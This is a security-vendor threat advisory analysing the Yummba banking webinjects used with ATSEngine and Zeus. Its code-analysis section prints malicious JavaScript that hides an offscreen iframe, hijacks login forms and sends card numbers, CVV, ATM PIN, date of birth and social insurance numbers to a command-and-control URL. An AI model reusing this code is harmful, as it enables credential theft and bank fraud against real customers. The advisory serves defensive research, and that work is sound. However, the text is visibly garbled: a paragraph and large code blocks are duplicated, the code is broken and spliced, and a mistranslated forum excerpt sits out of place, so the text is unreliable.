1.1 OVERVIEW / Akamai Technologies’ Prolexic Security Engineering & Response Team (PLXsert) has detected the aggressive promotion and targeted use of new webinject tools by a Russian individual or group using the name Yummba. A webinject is a framework that allows attackers to insert custom elements into web pages making them appear legitimate to end users. The altered pages are often used to collect and exfiltrate private information from customers using banking websites and applications. The stolen credentials allow the attackers to bypass security measures such as PINs, CAPTCHA systems and even two-factor authentication (2FA) measures.

Webinjects have also been incorporated into malware kits such as Zeus, SpyEye and KINS. The webinjects crafted by Yummba, however, are more robust; they utilize the Automatic Transfer System (ATSEngine), which enables more complete and dynamic attacks along with a more advanced feature set.

Attackers first compromise a client device or network to use webinjects, however portions of these attacks might also be used in cross-site scripting (XSS), phishing, and drive-by download attacks.

1.2 SOURCES / Open source intelligence sources (OSINT) indicate the creator of the Yummba webinjects tool is located in Russia, having been previously identified by other researchers. The author appears to specialize in writing webinjects that target financial entities. Yummba is fairly active in the carding community, sometimes giving advice to other developers, but most of his activity relates to identifying stolen and leaked versions of his products and blacklisting the parties responsible.

---

1 "ATSEngine," XylIoX. 4 May 2014.
Such a "feature" called ignorance of the topic and the name of things is not their real names) and by the way IMHO /dev/null instead of /dev/null/
even checked

```
root@mybro: ~ # cat /dev/null/
cat: /dev/null/: Not a directory
root@mybro: ~ # cat /dev/null
root@mybro: ~ #
```

> Since it easier nakodil cross-domain Ajax request nakodil it easier to 3 functions it than to ship an entire Board of Rites, and the case is not in the speed of an Internet. jquery juzat and only if it is already so loaded by the bank itself, and that is better than your code does not) since jquery code obfuscation is not difficult to understand when razboke than their Artful functions and operations understandable only to you

> With regards to the IPA – maybe it depends on the Trojan, which will use. Say, in the same Zeus have flags, the type – run only when the post request URL, run 1 time per day / at all, data_after, data_before and so on.

regards api and adjusting for one or Ina Trojan – the pros should not be tied to a specific syntax parsing injects trojan. pros write inzhy 99.9% in JS and from the injection produce only required to insert podgruzku script Head. and it can support any trojans injection and no matter what format they will injects.
In Figure 4, the toolkit author’s personal server displays the jabber ID where he can be contacted (yummba@mybro.cc), which has also been posted in forums and appears on the mybro.cc domain.

The Whois information for mybro.cc shows contact information and an address located in Russia. Of course, OSINT information about an online persona and domain may be inaccurate, because malicious actors try to conceal their true identities.

1.3 A SAMPLE WEBINJECT / The webinject in Figure 5 appears legitimate. The intent of a webinject is to lay or embed information in a legitimate webpage that misleads the customer into entering data that will be harvested for malicious purposes, such as identity theft and banking/credit card fraud. Webinjects are often customized to match a site’s look and feel, including logos, fonts and colors.
Some advanced webinjects, such as those that support the ATSEngine, automate the process of wiring a victim’s funds to a third-party account. The victim’s active, authenticated session is hijacked to perform these unwanted actions.

1.4 TARGETS / PLXsert identified more than 100 companies with active injects available in the wild. The most likely targeted companies are larger financial institutions in North America and Europe. Attacks-for-sale come with a wide range of features: some offer only simple reporting of account information (e.g. balances, account numbers), while others perform credential theft, and the most advanced utilize the ATSEngine for automated wire transfers to an attacker-controlled account.

The attack targets included dozens of banking and financial services sites, along with multiple ecommerce sites and social media platforms.

1.5 CODE ANALYSIS / The custom Yummba webinjects are intended to be used with the ATSEngine, an add-on component for popular crimeware and botnet software that allows malicious actors to inject dynamic content into a website and then automatically transfer funds from the victim’s compromised online banking accounts. The engine allows malicious actors to update their configurations easily, without having to recompile or reinfect their victims. The JavaScript code is packed using a common obfuscator. The packed code is shown in Figure 6.

(More information about the monetization of custom webinjects is available in blog posts by security researchers Dancho Danchev² and XyliBox³.)

---
³ "ATSEngine." XyliBox. 4 May 2014
The unpacked and commented JavaScript code in Figure 7 shows the power of a web inject combined with the ATSEngine. The code begins by preparing the ATSEngine to scrape and gather information about the user's banking session. The ATSEngine uses several hidden iframes to exfiltrate the data. The function `submitData()` reveals the sensitive information that the malicious actor will attempt to steal after injecting the falsified card-authentication page shown in Figure 5. When the victim inputs the data, it is sent directly to the malicious actor's command and control (CC, C2) server without the user's knowledge. Other functions attempt to gather account information about the victim's balances, security and more.

The unpacked and commented JavaScript code in Figure 7 shows the power of a web inject combined with the ATSEngine. The code begins by preparing the ATSEngine to scrape and gather information about the user’s banking session. The ATSEngine uses several hidden iframes to exfiltrate the data. The function `submitData()` reveals the sensitive information that the malicious actor will attempt to steal after injecting the falsified card-authentication page shown in Figure 5. When the victim inputs the data, it is sent directly to the malicious actor’s command and control (CC, C2) server without the user’s knowledge. Other functions attempt to gather account information about the victim’s balances, security and more.

```
// ATSEngine is ready, prep for scraping
function continueATSStart() {
    addLog(document, "continueATSSStart", "info", "begining navigation.");
    showWaitPage();
    beginNavigation();
}

// ATSEngine is bootstrapped: gather some quick info about the account
function continueMainStart() {
    if (ats_started == "1" || ats_started == "0") {
        addLog(document, "continueMainStart", "info", "parsing My Account page");
    }
}
```

Figure 6: Packed malicious JavaScript code in a custom web inject file
parseBalances();
if (!/error|failed/.test(msg_type)) {
    addLog(document, "continueMainStart", "info", "wait_page displayed. updating account info.");
    writeVariables({
        login: login,
        balances: balances
    }, 4)
} else {
    writeLog()
} else {
    if (ats_started == "2") {
        addLog(document, "continueMainStart", "info", "grabber finished. current page title is " + document.getElementsByTagName("title")[0].innerHTML.replace(/s {2,} | ^ \s | \s \s | \t | \r | \n / gim, ""));
        return_type = "atsEnd";
        writeLog()
    }
}

// inject an iframe out of view of the user; use it to crawl the site using the victim’s active session to collect data; this process sets the stage for more advanced functionality as the inject runs.
function beginNavigation() {
    var c = document.createElement("div");
    var a = '<iframe onload="if(top.ifr_state > 0) {
            try {'.OnLoadIframe()
        } catch (err) {
            void(0)
        }
    }" id=nav_iframe name=nav_iframe width=1024 height=768 '+(!show_debug?'style="position: absolute;
top: -5000 px;
left: -5000 px ";" :"")+'"> < /iframe>";
    c.id = "nav_div";
    c.innerHTML = a;
    document.body.appendChild(c);
    var b = document.getElementById("nav_iframe");
    top.ifr_state = 1;
    b.src = "https://accesd.********/clconnADDossierPersonnel/Dossier.do"
}

function onLoaded() {
    defineContentVariables();
    if (login_input && login_form) {
        old_submit = login_form.onsubmit;
        login_form.onsubmit = new Function("SaveLoginData(1);
            return false;
            ");
        addLog(document, "onLoaded", "info", "login page loaded. form onsubmit events attached");
        showContent(false)
    } else {
if (password_input && login_form) {
    old_submit = login_form.onsubmit;
    login_form.onsubmit = new Function("\n        .SaveLoginData(2);
        return false;
    ");
    addLog(document, "onLoaded", "info", "password page loaded. form onsubmit events attached")); readVariables(1)
} else {
    if (atsCanStart()) {
        reading variables"");
        readVariables(2)
    } else {
        showContent(false)
    }
}

// inject the iframe and form; populate it with victim's browser info, page content, etc. and phone home to the control server
function postPageContent() {
    .. snip ..
    b += '<iframe id="contentGrabbeIframe" name="contentGrabbeIframe" onLoad="try {
        .OnLoadContentGrabberIframe()
    } catch (err) {
        void(0)
    }"/></iframe>;
    b += '<form method="POST" action="' + gate_link + '" id="contentGrabberForm" target="contentGrabberIframe">
    b += '<textarea name="action">write_log</textarea>
    if (returnTrue(login)) {
        b += '<textarea name="login">' + login + '</textarea>
    }
    b += '<textarea name="msg_type">' + msg_type + '</textarea>
    b += '<textarea name="msg">' + msg + '</textarea>
    balance = "";
    a.submit() // send data
}

// store the user's login credentials
function saveLoginData(a) {
    if (a == 1) {
        if (login_input.value.length == 12) {
            addLog(document, "onLoaded", "info", "login submit";
            disableFormInputs(login_form, true);
            writeVariables({
                login: login_input.value + "",
                };
    } else {
        addLog(document, "onLoaded", "info", "password page loaded. form onsubmit events attached")); readVariables(1)
    } else {
        if (atsCanStart()) {
            reading variables"");
            readVariables(2)
    } else {
        showContent(false)
    }
}

// inject the iframe and form; populate it with victim's browser info, page content, etc. and phone home to the control server
function postPageContent() {
    .. snip ..
    b += '<iframe id="contentGrabbeIframe" name="contentGrabbeIframe" onLoad="try {
        .OnLoadContentGrabberIframe()
    } catch (err) {
        void(0)
    }"/></iframe>;
    b += '<form method="POST" action="' + gate_link + '" id="contentGrabberForm" target="contentGrabberIframe">
    b += '<textarea name="action">write_log</textarea>
    if (returnTrue(login)) {
        b += '<textarea name="login">' + login + '</textarea>
    }
    b += '<textarea name="msg_type">' + msg_type + '</textarea>
    b += '<textarea name="msg">' + msg + '</textarea>
    balance = "";
    a.submit() // send data
}

// store the user's login credentials
function saveLoginData(a) {
    if (a == 1) {
        if (login_input.value.length == 12) {
            addLog(document, "onLoaded", "info", "login submit";
            disableFormInputs(login_form, true);
            writeVariables({
                login: login_input.value + "",
                };
    } else {
        addLog(document, "onLoaded", "info", "password page loaded. form onsubmit events attached")); readVariables(1)
    } else {
        if (atsCanStart()) {
            reading variables"");
            readVariables(2)
    } else {
        showContent(false)
    }
}
ats_started: "0"
 }, 1)
 } else {
 if (a == 2) {
 if (password_input.value.length > 4) {
 addLog(document, "onLoaded", "info", "password submited");
 disableFormInputs(login_form, true);
 writeVariables(
 login: login,
 password: password_input.value + ",
 ats_started: "0"
 ), 1)
 }
 }
 }

// transmit the victim data offsite to the attacker’s server (credit card, date of
// birth, ATM pin, and social ins/sec number)
function submitData() {
 var k = document.getElementById("fk_card_nr"); // card num
 var i = document.getElementById("fk_exp_mm"); // exp month
 var a = document.getElementById("fk_exp_yy"); // exp year
 var h = document.getElementById("fk_cvv"); // CVV
 var f = document.getElementById("fk_pin"); // ATM pin
 var j = document.getElementById("fk_exp_mm"); // birth month
 var g = document.getElementById("fk_exp_yy"); // birth year
 var c = document.getElementById("fk_cvv"); // birth year
 var e = document.getElementById("fk_sin_1"); // social ins/sec num
 var d = document.getElementById("fk_sin_2"); // social ins/sec num
 var b = document.getElementById("fk_sin_3"); // social ins/sec num
 if (!isValidCardNumber(k.value)) {
 alert("Please enter valid Card Number");
 return
 }
 .. snip ..
 if (g.selectedIndex < 1 || j.selectedIndex < 1 || c.selectedIndex < 1) {
 alert("Please enter valid Date of Birth");
 return
 }
 .. snip ..
 /.test(b.value)) {
 alert("Please enter valid Social Insurance Number");
 return
 }
 addLog(document, "submitData", "info", "fake page filled. submitting data");
 writeVariables(
 login: login,
 card_nr: k.value,
 exp: i.value + "/" + a.value,
 cvv: h.value,
 pin: f.value,
 dob: j.value + "/" + g.value + "/" + c.value,
 sin: e.value + "-" + d.value + "-" + b.value
 ), 5)
 }

// look over the HTML from the victim’s account statement page and collect the
available funds

function parseBalances() {
    var c = document.getElementById("nav_iframe");
    var d = c.getElementsByTagName("a").length > 0 ? c.getElementsByTagName("a")[0] : false;
    if (d) {
        addLog(document, "parseBalances", "info", "balances_table found. parsing");
        .. snip ..
    }
}

// once successfully injected, attempt to find elements of value to use for data collection, credential theft, and session hijacked attacks
function onLoadIframe() {
    var j = document.getElementById("nav_iframe");
    var d = j.getElementsByTagName("a").length > 0 ? j.getElementsByTagName("a")[0] : false;
    if (d) {
        addLog(j, "parseBalances", "info", "security_settings_link found. clicking");
        top.ifr_state = 2;
        d.click()  
        .. snip ..
    } else {
        if (top.ifr_state == 2) {
            var i = j.getElementsByTagName("a").length > 0 ? j.getElementsByTagName("a")[0] : false;
            if (i) {
                addLog(j, "parseBalances", "info", "qa_link found. clicking");
                top.ifr_state = 3;
                i.click()
                .. snip ..
            } else {
                if (top.ifr_state == 3) {
                    addLog(j, "onLoadIframe", "info", "parsing questions and answers");
                    var g = j.getElementsByTagName("select").length > 0 ? j.getElementsByTagName("select")[0] : false;
                    var h = j.getElementsByTagName("input").length > 0 ? j.getElementsByTagName("input")[0] : false;
                    .. snip ..
                }
            }
        }
    }
}
1.6 HOW IT WORKS / The Zeus framework is a crimeware kit that is often used to harvest banking credentials. It is used to control compromised hosts (zombies) for many types of cyber crime, including distributed denial of service (DDoS) attacks and attacks customized for specific platform-as-a-service (PaaS) and software-as-a-service (SaaS) infrastructures, including financial institutions.

Attackers leverage the host’s resources and extract sensitive information from users, which usually leads to identity theft and banking fraud. Other uses of the Zeus framework include crypto-currency mining, spam and DDoS attacks. Once a system is compromised by Zeus, malicious actors have access to a variety of remote commands, including forcing a host to download and execute remote and local files, such as webinjects, as shown in Figure 8.
Once a user’s machine has been infected with a banking Trojan such as Zeus, and the webinjects file is configured, the malicious actors will proceed to exfiltrate data from the victim’s browsing sessions, sending the data back to the C2 server. In the following lab test, an infected Zeus bot was configured with webinjects prior to browsing several websites, during which attempts to login with dummy accounts were made. These dummy account attempts were logged and submitted to the C2 in plaintext for later use. Figure 9 and Figure 10 show the sign-in pages of two financial companies.
Figure 9: During a test in the lab environment, a user submitted fake credentials that were collected by the Yummba webinject tool.

Figure 10: A similar test was conducted, using fake credentials, on a major US banking site.

Figure 11 and Figure 12 show the Zeus bot C2 panel after collecting login data, including the victim’s username and password.
1.7 VULNERABILITY MITIGATION / Preventing this primarily client-based attack requires an end-user to distinguish illegitimate elements of a web page from legitimate content, as well as improved security and hardening of client computers. In most cases, a
client computer would have been previously compromised by a Trojan such as the Zeus crimeware kit. Steps to mitigate this vulnerability include the following:

- **User awareness**: Because end-users are the target of these attacks, training and education are needed to help them identify suspected phishing attacks. Red flags are generic salutations, grammatical errors in URLs, unexpected attachments, and attachments sent from unknown entities. In general, clicking unfamiliar links in emails should be discouraged. Users should not respond with sensitive information to email requests and should contact their financial institutions with questions about suspicious banking emails. It’s a good idea to browse directly to a financial institution instead of clicking a link.

- **System hardening**: Group-Policy objects (GPOs), Software Restriction Policies (SRP) and commercial endpoint security products, can help mitigate this type of threat. In addition, using antivirus software and other signature-based measures can help, although there may be very low levels of detection for some threats.

- **Deep packet inspection**: Monitoring via deep packet inspection can help to mitigate these threats with a recognizable traffic signature. Some illegitimate URLs served during these attacks can be spotted and blocked for outbound traffic.

- **Community cleanup**: Projects such as Shadowserver, MalwareMustDie, and ZeuS Tracker help the commercial sector and law enforcement to verify and take down malicious hosts serving attacks. Remediation and takedown is needed to stop further infestation and damage.

### 1.8 CONCLUSION

As discussed in PLXsert’s Zeus Crimeware Threat Advisory, webinjects are a type of customized binary payload. The underground crimeware ecosystem will continue to target financial institutions and attempt to streamline illegitimate operations without end users’ knowledge or consent.

Malicious actors will continue to develop payloads like these, in addition to DDoS botnet building and monetization, in order to take advantage of the massive number of exploited devices on the Internet. Easy-to-use, click-and-deploy crimeware kits for purchase have simplified the setup of criminal shops that can generate profits very quickly.

International cooperation, community cleanup and a preemptive security mindset applied to systems development are needed to prevent the further expansion of this profitable criminal market. PLXsert will continue researching these type of threats and future advisories and updates will be provided if warranted.

---

4 [Wiki](https://www.shadowserver.org/); Shadowserver Foundation.
5 “Analysis” Malware Must Die. Malware Research Group
7 PLXsert. Zeus Crimeware Threat Advisory, StateoftheInternet.com, Akamai, 10 June 2014
The Prolexic Security Engineering and Research Team (PLXsert) monitors malicious cyber threats globally and analyzes these attacks using proprietary techniques and equipment. Through research, digital forensics and post-event analysis, PLXsert is able to build a global view of security threats, vulnerabilities and trends, which is shared with customers and the security community. By identifying the sources and associated attributes of individual attacks, along with best practices to identify and mitigate security threats and vulnerabilities, PLXsert helps organizations make more informed, proactive decisions.

Akamai® is a leading provider of cloud services for delivering, optimizing and securing online content and business applications. At the core of the company’s solutions is the Akamai Intelligent Platform™ providing extensive reach, coupled with unmatched reliability, security, visibility and expertise. Akamai removes the complexities of connecting the increasingly mobile world, supporting 24/7 consumer demand, and enabling enterprises to securely leverage the cloud. To learn more about how Akamai is accelerating the pace of innovation in a hyperconnected world, please visit www.akamai.com or blogs.akamai.com, and follow @Akamai on Twitter.

Akamai is headquartered in Cambridge, Massachusetts in the United States with operations in more than 40 offices around the world. Our services and renowned customer care enable businesses to provide an unparalleled Internet experience for their customers worldwide. Addresses, phone numbers and contact information for all locations are listed on www.akamai.com/locations

©2014 Akamai Technologies, Inc. All Rights Reserved. Reproduction in whole or in part in any form or medium without express written permission is prohibited. Akamai and the Akamai wave logo are registered trademarks. Other trademarks contained herein are the property of their respective owners. Akamai believes that the information in this publication is accurate as of its publication date; such information is subject to change without notice. Published 10/14.